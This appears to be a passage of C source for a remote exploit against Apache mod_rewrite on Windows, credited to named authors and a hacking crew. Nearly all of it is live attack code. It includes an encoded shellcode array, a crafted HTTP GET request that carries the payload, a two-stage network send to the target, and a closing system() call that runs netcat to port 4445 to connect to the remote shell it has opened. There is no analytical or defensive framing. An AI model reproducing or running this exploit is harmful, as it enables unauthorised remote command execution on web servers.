char finish［］= "HTTP/1.0\r\nHost: ";
char payload2［］=
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18"
"\xd9\x03\x3a\x83\xeb\xfc\xe2\xf4\xe4\xb3\xe8\x77\xf0\x20\xfc\xc5"
"\xe7\xb9\x88\x56\x3c\xfd\x88\x7f\x24\x52\x7f\x3f\x60\xd8\xec\xb1"
"\x57\xc1\x88\x65\x38\xd8\xe8\x73\x93\xed\x88\x3b\xf6\xe8\xc3\xa3"
"\xb4\x5d\xc3\x4e\x1f\x18\xc9\x37\x19\x1b\xe8\xce\x23\x8d\x27\x12"
"\x6d\x3c\x88\x65\x3c\xd8\xe8\x5c\x93\xd5\x48\xb1\x47\xc5\x02\xd1"
"\x1b\xf5\x88\xb3\x74\xfd\x1f\x5b\xdb\xe8\xd8\x5e\x93\x9a\x33\xb1"
"\x58\xd5\x88\x4a\x04\x74\x88\x7a\x10\x87\x6b\xb4\x56\xd7\xef\x6a"
"\xe7\x0f\x65\x69\x7e\xb1\x30\x08\x70\xae\x70\x08\x47\x8d\xfc\xea"
"\x70\x12\xee\xc6\x23\x89\xfc\xec\x47\x50\xe6\x5c\x99\x34\x0b\x38"
"\x4d\xb3\x01\xc5\xc8\xb1\xda\x33\xed\x74\x54\xc5\xce\x8a\x50\x69"
"\x4b\x8a\x40\x69\x5b\x8a\xfc\xea\x7e\xb1\x12\x67\x7e\x8a\x8a\xdb"
"\x8d\xb1\xa7\x20\x68\x1e\x54\xc5\xce\xb3\x13\x6b\x4d\x26\xd3\x52"
"\xbc\x74\x2d\xd3\x4f\x26\xd5\x69\x4d\x26\xd3\x52\xfd\x90\x85\x73"
"\x4f\x26\xd5\x6a\x4c\x8d\x56\xc5\xc8\x4a\x6b\xdd\x61\x1f\x7a\x6d"
"\xe7\x0f\x56\xc5\xc8\xbf\x69\x5e\x7e\xb1\x60\x57\x91\x3c\x69\x6a"
"\x41\xf0\xcf\xb3\xff\xb3\x47\xb3\xfa\xe8\xc3\xc9\xb2\x27\x41\x17"
"\xe6\x9b\x2f\xa9\x95\xa3\x3b\x91\xb3\x72\x6b\x48\xe6\x6a\x15\xc5"
"\x6d\x9d\xfc\xec\x43\x8e\x51\x6b\x49\x88\x69\x3b\x49\x88\x56\x6b"
"\xe7\x09\x6b\x97\xc1\xdc\xcd\x69\xe7\x0f\x69\xc5\xe7\xee\xfc\xea"
"\x93\x8e\xff\xb9\xdc\xbd\xfc\xec\x4a\x26\xd3\x52\xe8\x53\x07\x65"
"\x4b\x26\xd5\xc5\xc8\xd9\x03\x3a";
int main(int argc, char *argv［］)
{
int sockfd, numbytes;
char buf［MAXDATASIZE］;
struct hostent *he;
struct sockaddr_in their_addr;
printf(" Exploit: apache mod rewrite exploit (win32)\n"
" By: fabio/b0x (oc-192, old CoTS member)\n"
"Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard\n"
);
printf("vc++ win32 code compile by horse_b,2007-6-5\n");
if (argc != 3) {
printf(" Usage: ./apache hostname rewrite_path\n");
exit(1);
}
printf("\n［+］Preparing payload\n");
WSAData GInitData;
if (WSAStartup(MAKEWORD(2,1),&GInitData) != 0)
{
printf("初始化SOCKET函数失败!\n");
return 0;
}
char payload［748］;
sprintf(payload,"GET /%s%s%s%s%s\r\n\r\n\0",argv［2］,get,shellcode,finish,argv［1］);
printf("［+］Connecting...\n");
if ((he=gethostbyname(argv［1］)) == NULL) {
printf("［-］Cannot resolv hostname...\n");
exit(1);
}
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("［-］Socket error...\n");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero);
if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) == -1) {
printf("［-］Unable to connect\n");
exit(1);
}
printf("［+］Connected\n［+］Sending...\n");
if (send(sockfd, payload, strlen(payload), 0) == -1){
printf("［-］Unable to send\n");
exit(1);
}
printf("［+］Sent\n");
closesocket(sockfd);
printf("［+］Starting second stage...\n");
Sleep(100);
printf("［+］Connecting...\n");
if ((he=gethostbyname(argv［1］)) == NULL) {
printf("［-］Cannot resolv hostname...\n");
exit(1);
}
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("［-］Socket error...\n");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT2);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero);
if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) == -1) {
printf("［-］Unable to connect\n");
exit(1);
}
printf("［+］Connected\n［+］Sending...\n");
if (send(sockfd, payload2, strlen(payload2), 0) == -1){
printf("［-］Unable to send\n");
exit(1);
}
printf("［+］Sent\n［+］Connecting to shell\n");
closesocket(sockfd);
Sleep(100);
int exec;
char what［1024］;
sprintf(what," nc -w 10 %s 4445",argv［1］);
exec=system(what);
if (exec!=0){
printf("［-］Not hacked\n");
} else {
printf("［+］Owned\n");
}
exit(1);
}
